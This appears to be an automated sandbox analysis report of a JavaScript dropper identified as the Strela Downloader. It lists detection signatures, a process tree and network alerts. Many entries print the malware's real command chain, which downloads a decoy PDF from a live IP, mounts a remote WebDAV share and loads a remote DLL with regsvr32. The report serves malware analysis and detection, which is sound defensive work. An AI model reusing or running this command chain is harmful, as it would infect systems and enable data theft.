Edit tour

Windows Analysis Report
10557253441737814573.js

Overview

General Information

Sample name:	10557253441737814573.js
Analysis ID:	1590054
MD5:	c3ada3d7602e0b4792c0122bc93278c7
SHA1:	6cf27ffdf3d3b3bd165c572cd28c9c23cd3884d3
SHA256:	dd0eef6807cb3df884f71a23c2f3a7c726f996fa7acab7b52d837330bed34f7f
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3536 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2168 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3700 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 928 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1668,i,8900237095327274220,17911093714711884104,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2212 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3160 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3536	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ProcessId: 3536, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3160, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ProcessId: 3536, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2168, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3160, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5776, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3160, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10557253441737814573.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll, ProcessId: 2168, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T14:57:01.506839+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T14:57:04.186844+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49710	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T14:57:01.506839+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49710 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 13:57:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: global traffic

TCP traffic: 192.168.2.8:49710 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49709 -> 193.143.1.205:80

Source: global traffic

